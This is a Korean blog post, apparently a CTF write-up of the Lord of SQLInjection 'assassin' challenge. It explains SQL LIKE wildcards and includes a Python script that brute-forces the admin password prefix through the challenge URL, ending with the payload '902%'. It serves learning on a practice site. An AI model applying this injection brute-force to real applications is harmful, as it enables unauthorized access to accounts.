ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • LOS 15 - assassin Write up (sql injection like 활용)
    CTF/Web 2020. 3. 23. 18:39
     
     
     
    admin의 pw를 가져와야하는 문제이다.
    우선 like가 어떤 녀석인지부터 알아야한다.
     
    like는 뒤에 오는 ''안에 들어가는 녀석과 같은 것을 가져오는 문법이다.
    가령 현재 예로 보면 admin의 pw가 pass라면
    where pw like 'pass' 라는 문법에서 like 뒤에 pass와 어드민의 pw에 있는 pass가 일치하기에 참이되는 형식이다.
    그런데 여기서 중요한 점은 like는 와일드마스크가 존재 한다.
    바로 '%'와 '_'다.
    '_'는 한개의 글자에 해당하며 '%'는 0~다수의 글자가 해당한다.
    우리가 보통 쓰는 와일드마스크 '*'와 '?'와 유사하기에 원리는 넘어가겠다.
     
    아무튼 그리하여 like '%'를 해보았다.
     
     
     
    guest가 잡혔다.
    그 이유는 '%'만 집어넣으면 모든 경우에서 참이됨으로 admin보다 위에 적혀있는 guest가 걸려서 잡힌 것이다.
    이제 우리가 해줄 것은 guest의 비밀번호를 피해가면서 admin의 비밀번호를 찾는 것이다.
    우선 첫번째 글자를 알파벳과 숫자에 대입하며 찾아봤다.
    이게 웬걸? 
     
     
    첫자리가 9인 경우에 guest가 잡혔지만
    첫자리에 다른 어떤 걸 넣어봐도 admin은 뜨지 않았다.
    처음엔 당황스러웠지만 이내 곧 한가지 결론에 도달했다.
     
    그건 바로 admin의 pw는 guest와 첫자리 pw와 같다는 것이다.
    이런 식으로 농락을 하는 문제라는 것을 깨닫고 바로 코드를 짰다.
    손으로 직접하기엔 한계가 있어보였기 때문이다.
     
     
     
    import requests
    url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?"
    headers = {"cookie":"PHPSESSID=qdc3414124124142442p"}
    for c in range(20,150):
        query = "pw=90{}%25".format(chr(c))
        """
        처음엔 pw=9%{}%25를 넣어서 if문을 통해 admin과 guest가 각각 따로 존재하는지 확인을 했다.
        그랬더니 "guest 0"이라는 문구만 출력될뿐이라서 이번엔 0을 더 붙혀 본 것이다.
        """
        r = requests.get(url+query, headers=headers)
        if "Hello admin" in r.text:
            print(chr(c))
            break
        elif "Hello guest" in r.text:
            print("guest", chr(c))
     
     
     
    이렇게 실행하면
    '2'가 출력이 된다.
    드디어 admin과 guest의 pw 분기점을 찾은 것이다.
     
     
     
    902%를 입력해주면 clear가 된다.
     
     
     
     
     
     
     
     

    댓글

Designed by Tistory.